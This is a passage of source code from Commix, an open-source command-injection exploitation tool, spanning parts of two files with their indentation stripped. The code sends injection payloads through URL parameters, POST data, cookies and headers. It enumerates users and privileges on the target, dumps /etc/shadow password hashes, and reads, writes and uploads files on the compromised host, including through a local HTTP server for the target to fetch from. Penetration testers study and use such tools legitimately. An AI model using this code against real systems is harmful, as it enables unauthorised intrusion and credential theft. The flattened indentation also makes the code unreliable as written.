print(settings.SINGLE_WHITESPACE)
# Output PowerShell's version number
info_msg = "Powershell version: " + ps_version
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = "Powershell version: " + ps_version + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify the version of Powershell, "
warn_msg += "which means that some payloads or injection techniques may be failed."
print(settings.print_warning_msg(warn_msg))
settings.PS_ENABLED = False
ps_check_failed()
"""
Print hostname
"""
def print_hostname(shell, filename, _):
if shell:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "Hostname: " + str(shell)
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print(settings.print_warning_msg(warn_msg))
"""
Print current user info
"""
def print_current_user(cu_account, filename, _):
if cu_account:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "Current user: " + str(cu_account)
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to fetch the current user."
print(settings.print_warning_msg(warn_msg))
"""
Print current user privs
"""
def print_current_user_privs(shell, filename, _):
priv = "True"
if (settings.TARGET_OS == settings.OS.WINDOWS and not "Admin" in shell) or \
(settings.TARGET_OS != settings.OS.WINDOWS and shell != "0"):
priv = "False"
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "Current user has excessive privileges: " + str(priv)
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
"""
Print OS info
"""
def print_os_info(target_os, target_arch, filename, _):
if target_os and target_arch:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch)
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to fetch underlying operating system information."
print(settings.print_warning_msg(warn_msg))
"""
Print enumeration info msgs
"""
class print_enumenation():
def ps_version_msg(self):
info_msg = "Fetching powershell version."
print(settings.print_info_msg(info_msg))
def hostname_msg(self):
info_msg = "Fetching hostname."
print(settings.print_info_msg(info_msg))
def current_user_msg(self):
info_msg = "Fetching current user."
print(settings.print_info_msg(info_msg))
def check_privs_msg(self):
info_msg = "Testing if current user has excessive privileges."
print(settings.print_info_msg(info_msg))
def os_info_msg(self):
info_msg = "Fetching the underlying operating system information."
print(settings.print_info_msg(info_msg))
def print_users_msg(self):
if settings.TARGET_OS == settings.OS.WINDOWS:
info_msg = "Executing the 'net user' command "
else:
info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' "
info_msg += "in order to enumerate operating system users. "
print(settings.print_info_msg(info_msg))
def print_passes_msg(self):
info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' "
info_msg += "in order to enumerate operating system users password hashes. "
print(settings.print_info_msg(info_msg))
def print_single_os_cmd_msg(self, cmd):
info_msg = "Executing the user-supplied command: '" + cmd + "'."
print(settings.print_info_msg(info_msg))
"""
Print users enumeration.
"""
def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):
# Windows users enumeration.
if settings.TARGET_OS == settings.OS.WINDOWS:
try:
if sys_users and any(account in sys_users for account in settings.DEFAULT_WIN_USERS):
sys_users = "".join(str(p) for p in sys_users).strip()
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p) for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
if len(sys_users_list) != 0 :
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "Identified operating system"
info_msg += " user" + ('s', '')[len(sys_users_list) == 1]
info_msg += " [" + str(len(sys_users_list)) + "]:"
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
# if menu.options.privileges:
# cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
# if alter_shell:
# cmd = escape_single_quoted_cmd(cmd)
# cmd = "cmd /c " + cmd
# from src.core.injections.results_based.techniques.classic import cb_injector
# response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# check_privs = cb_injector.injection_results(response, TAG, cmd)
# check_privs = "".join(str(p) for p in check_privs).strip()
# check_privs = re.findall(r"(.*)", check_privs)
# check_privs = "".join(str(p) for p in check_privs).strip()
# check_privs = check_privs.split()
# if "Admin" in check_privs[0]:
# is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user"
# is_privileged_nh = " is admin user "
# else:
# is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user"
# is_privileged_nh = " is regular user "
# else :
is_privileged = is_privileged = ""
print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
if count == 1 :
output_file.write("\n")
output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" )
output_file.close()
else:
# print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate operating system users."
print(settings.print_warning_msg(warn_msg))
except TypeError:
pass
except IndexError:
# print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate operating system users."
print(settings.print_warning_msg(warn_msg))
pass
# Unix-like users enumeration.
else:
try:
if sys_users:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(settings.SINGLE_WHITESPACE)) <= 1 :
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(settings.SINGLE_WHITESPACE)
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "Identified operating system"
info_msg += " user" + ('s', '')[len(sys_users_list) == 1]
info_msg += " [" + str(len(sys_users_list)) + "]:"
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else :
is_privileged = ""
is_privileged_nh = ""
else :
is_privileged = ""
is_privileged_nh = ""
print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
if count == 1 :
output_file.write("\n")
output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
warn_msg += "appropriate format. Thus, it is expoted as a text file."
print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + sys_users)
output_file.close()
else:
# print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.PASSWD_FILE + "'."
print(settings.print_warning_msg(warn_msg))
except TypeError:
pass
except IndexError:
# print(settings.SINGLE_WHITESPACE)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users."
print(settings.print_warning_msg(warn_msg))
pass
"""
Print users enumeration.
"""
def print_passes(sys_passes, filename, _, alter_shell):
if sys_passes == "":
sys_passes = settings.SINGLE_WHITESPACE
sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, "\n").split()
if len(sys_passes) != 0 :
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
info_msg = "Identified operating system"
info_msg += " user" + ('s', '')[len(sys_passes) == 1]
info_msg += " password hashes [" + str(len(sys_passes)) + "]:"
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
if count == 1 :
output_file.write("\n")
output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1 :
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
print(settings.print_warning_msg(warn_msg))
print(fields[0])
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + fields[0])
output_file.close()
else:
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.SHADOW_FILE + "' file."
print(settings.print_warning_msg(warn_msg))
"""
Print single OS command
"""
def print_single_os_cmd(cmd, shell):
if len(shell) > 1:
_ = "'" + cmd + "' execution output"
print(settings.print_retrieved_data(_, shell))
else:
err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
"""
Quote provided cmd
"""
def quoted_cmd(cmd):
cmd = "\"" + cmd + "\""
return cmd
"""
Add new "cmd /c"
"""
def add_new_cmd(cmd):
cmd = "cmd /c " + cmd
return cmd
"""
Escape single quoted cmd
"""
def escape_single_quoted_cmd(cmd):
cmd = cmd.replace("'","\\'")
return cmd
"""
Find filename
"""
def find_filename(dest_to_write, content):
fname = os.path.basename(dest_to_write)
tmp_fname = fname + "_tmp"
# _ = settings.FILE_WRITE
if settings.TARGET_OS == settings.OS.WINDOWS:
# _ = settings.FILE_WRITE_WIN
cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'"
else:
cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname
return fname, tmp_fname, cmd
"""
Decode base 64 encoding
"""
def win_decode_b64_enc(fname, tmp_fname):
cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\")
return cmd
"""
Add command substitution on provided command
"""
def add_command_substitution(cmd):
cmd = "echo $(" + cmd + ")"
return cmd
"""
Remove command substitution on provided command
"""
def remove_command_substitution(cmd):
cmd = cmd.replace("echo $(","").replace(")","")
return cmd
def remove_parenthesis(cmd):
cmd = cmd.replace("(","").replace(")","")
return cmd
"""
Write the file content
"""
def write_content(content, dest_to_write):
content = quoted_cmd(content)
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'"
else:
cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write
return cmd
"""
Delete filename
"""
def delete_tmp(tmp_fname):
cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\")
return cmd
"""
Check if file exists.
"""
def check_file(dest_to_upload):
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.FILE_LIST_WIN + dest_to_upload.replace("\\","\\\\")
else:
cmd = settings.FILE_LIST + dest_to_upload
cmd = add_command_substitution(cmd)
return cmd
"""
Change directory
"""
def change_dir(dest_to_write):
dest_to_write = dest_to_write.replace("\\","/")
path = os.path.dirname(dest_to_write)
path = path.replace("/","\\")
cmd = "cd " + path
return cmd
"""
File content to read.
"""
def file_content_to_read():
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
info_msg = "Fetching content of the file: '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\")
else:
if settings.EVAL_BASED_STATE:
cmd = "(" + settings.FILE_READ + file_to_read + ")"
else:
cmd = settings.FILE_READ + file_to_read
return cmd, file_to_read
"""
File read status
"""
def file_read_status(shell, file_to_read, filename):
if shell:
_ = "Fetched file content"
print(settings.print_retrieved_data(_, shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = "Extracted content of the file '"
info_msg += file_to_read + "' : " + shell + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the content of the file '" + file_to_read + "'."
print(settings.print_warning_msg(warn_msg))
"""
Check upload/write destination
"""
def check_destination(destination):
if menu.options.file_write:
where = menu.options.file_write
else:
where = menu.options.file_upload
if os.path.split(destination)[1] == "" :
_ = os.path.split(destination)[0] + "/" + os.path.split(where)[1]
elif os.path.split(destination)[0] == "/":
_ = "/" + os.path.split(destination)[1] + "/" + os.path.split(where)[1]
elif os.path.split(destination)[0] == "\\":
_ = "\\" + os.path.split(destination)[1] + "\\" + os.path.split(where)[1]
else:
_ = destination
return _
"""
Write the content of the file
"""
def check_file_to_write():
file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
if not os.path.exists(file_to_write):
err_msg = "It seems that the provided local file '" + file_to_write + "' does not exist."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == settings.OS.WINDOWS:
import base64
content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
print(settings.print_warning_msg(warn_msg))
print(settings.SINGLE_WHITESPACE)
dest_to_write = check_destination(destination=menu.options.file_dest)
info_msg = "Trying to write the content of the file '"
info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
print(settings.print_info_msg(info_msg))
return file_to_write, dest_to_write, content
"""
File write status
"""
def file_write_status(shell, dest_to_write):
if shell:
info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'."
print(settings.print_warning_msg(warn_msg))
"""
File upload procedure.
"""
def check_file_to_upload():
file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
print(settings.print_warning_msg(warn_msg))
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
print(settings.print_critical_msg(err_msg))
raise SystemExit()
dest_to_upload = check_destination(destination=menu.options.file_dest)
info_msg = "Trying to upload the file from '"
info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
print(settings.print_info_msg(info_msg))
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
return cmd, dest_to_upload
"""
File upload status.
"""
def file_upload_status(shell, dest_to_upload):
if shell:
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to upload files on the remote directory '" + dest_to_upload + "'."
print(settings.print_warning_msg(warn_msg))
"""
Check if defined "--file-upload" option.
"""
def file_upload():
if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
# if not menu.options.file_dest.endswith("/"):
# menu.options.file_dest = menu.options.file_dest + "/"
# Check if not defined URL for upload.
while True:
message = "Do you want to enable a local HTTP server? [Y/n] > "
enable_HTTP_server = common.read_input(message, default="Y", check_batch=True)
if enable_HTTP_server in settings.CHOICE_YES:
# Check if file exists
if not os.path.isfile(menu.options.file_upload):
err_msg = "The '" + menu.options.file_upload + "' file, does not exist."
sys.stdout.write(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
# Setting the local HTTP server.
if settings.LOCAL_HTTP_IP == None:
while True:
message = "Please enter your interface IP address > "
ip_addr = common.read_input(message, default=None, check_batch=True)
# check if IP address is valid
ip_check = simple_http_server.is_valid_ipv4(ip_addr)
if ip_check == False:
err_msg = "The provided IP address seems not valid."
print(settings.print_error_msg(err_msg))
pass
else:
settings.LOCAL_HTTP_IP = ip_addr
break
# Check for invalid HTTP server's port.
if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535:
err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT)
info_msg = "Setting the HTTP server on '" + http_server + "/'. "
print(settings.print_info_msg(info_msg))
menu.options.file_upload = http_server + menu.options.file_upload
simple_http_server.main()
break
elif enable_HTTP_server in settings.CHOICE_NO:
if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
break
elif enable_HTTP_server in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enable_HTTP_server)
pass
"""
Check for wrong flags
"""
def check_wrong_flags():
if settings.TARGET_OS == settings.OS.WINDOWS:
if menu.options.is_root :
warn_msg = "Swithing '--is-root' to '--is-admin' because the "
warn_msg += "target has been identified as Windows."
print(settings.print_warning_msg(warn_msg))
if menu.options.passwords:
warn_msg = "The '--passwords' option, is not yet supported Windows targets."
print(settings.print_warning_msg(warn_msg))
if menu.options.file_upload :
warn_msg = "The '--file-upload' option, is not yet supported Windows targets. "
warn_msg += "Instead, use the '--file-write' option."
print(settings.print_warning_msg(warn_msg))
raise SystemExit()
else:
if menu.options.is_admin :
warn_msg = "Swithing the '--is-admin' to '--is-root' because "
warn_msg += "the target has been identified as Unix-like. "
print(settings.print_warning_msg(warn_msg))
"""
Define python working dir (for windows targets)
"""
def define_py_working_dir():
if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.alter_shell:
while True:
message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
message += "' as Python working directory on the target host? [Y/n] > "
python_dir = common.read_input(message, default="Y", check_batch=True)
if python_dir in settings.CHOICE_YES:
break
elif python_dir in settings.CHOICE_NO:
message = "Please provide a custom working directory for Python (e.g. '"
message += settings.WIN_PYTHON_INTERPRETER + "') > "
settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True)
break
else:
common.invalid_option(python_dir)
pass
settings.USER_DEFINED_PYTHON_DIR = True
# eof commix-3.8/src/core/injections/controller/controller.py 0000664 0000000 0000000 00000110103 14466364451 0023475 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import menu
from src.utils import logs
from src.utils import settings
from src.utils import common
from src.utils import session_handler
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.modules import modules_handler
from src.core.requests import authentication
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.blind.techniques.time_based import tb_handler
from src.core.injections.semiblind.techniques.file_based import fb_handler
from src.core.injections.results_based.techniques.classic import cb_handler
from src.core.injections.results_based.techniques.eval_based import eb_handler
"""
Command Injection and exploitation controller.
Checks if the testable parameter is exploitable.
"""
def basic_level_checks():
settings.SKIP_CODE_INJECTIONS = False
settings.SKIP_COMMAND_INJECTIONS = False
settings.IDENTIFIED_COMMAND_INJECTION = False
settings.IDENTIFIED_WARNINGS = False
settings.IDENTIFIED_PHPINFO = False
"""
Check for previously stored sessions.
"""
def check_for_stored_sessions(url, http_request_method):
if not menu.options.ignore_session:
if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION:
if not menu.options.tech:
settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method)
menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES
if session_handler.check_stored_parameter(url, http_request_method):
if not settings.MULTI_TARGETS or not settings.STDIN_PARSING:
settings.LOAD_SESSION = True
return True
"""
Check for previously stored injection level.
"""
def check_for_stored_levels(url, http_request_method):
if not menu.options.ignore_session:
if menu.options.level == settings.DEFAULT_INJECTION_LEVEL:
menu.options.level = session_handler.applied_levels(url, http_request_method)
if type(menu.options.level) is not int :
menu.options.level = settings.DEFAULT_INJECTION_LEVEL
"""
Heuristic (basic) tests for command injection
"""
def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
if menu.options.alter_shell:
basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS
else:
basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS
settings.CLASSIC_STATE = True
try:
whitespace = settings.WHITESPACES[0]
if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS:
_ = 0
for payload in basic_payloads:
_ = _ + 1
if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION:
payload = _urllib.parse.quote(payload)
payload = parameters.prefixes(payload, prefix="")
payload = parameters.suffixes(payload, suffix="")
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
data = None
cookie = None
tmp_url = url
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \
menu.options.data and settings.INJECT_TAG in menu.options.data:
if inject_http_headers:
data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC)
else:
data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
if settings.INJECT_TAG in url:
tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(tmp_url, data)
if cookie:
request.add_header(settings.COOKIE, cookie)
if inject_http_headers:
request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC))
headers.do_check(request)
response = requests.get_request_response(request)
if type(response) is not bool and response is not None:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)
if match:
settings.IDENTIFIED_COMMAND_INJECTION = True
info_msg = "Heuristic (basic) tests shows that "
info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
print(settings.print_bold_info_msg(info_msg))
break
settings.CLASSIC_STATE = False
return url
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Heuristic (basic) tests for code injection warnings
"""
def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ""
settings.EVAL_BASED_STATE = True
try:
if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS:
for payload in settings.PHPINFO_CHECK_PAYLOADS:
if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION:
payload = _urllib.parse.quote(payload)
payload = parameters.prefixes(payload, prefix="")
payload = parameters.suffixes(payload, suffix="")
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
data = None
cookie = None
tmp_url = url
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \
menu.options.data and settings.INJECT_TAG in menu.options.data:
if inject_http_headers:
data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC)
else:
data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
if settings.INJECT_TAG in url:
tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(tmp_url, data)
if cookie:
request.add_header(settings.COOKIE, cookie)
if inject_http_headers:
request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC))
headers.do_check(request)
response = requests.get_request_response(request)
if type(response) is not bool and response is not None:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.CODE_INJECTION_PHPINFO, html_data)
if match:
technique = technique + " (possible PHP version: '" + match.group(1) + "')"
settings.IDENTIFIED_PHPINFO = True
else:
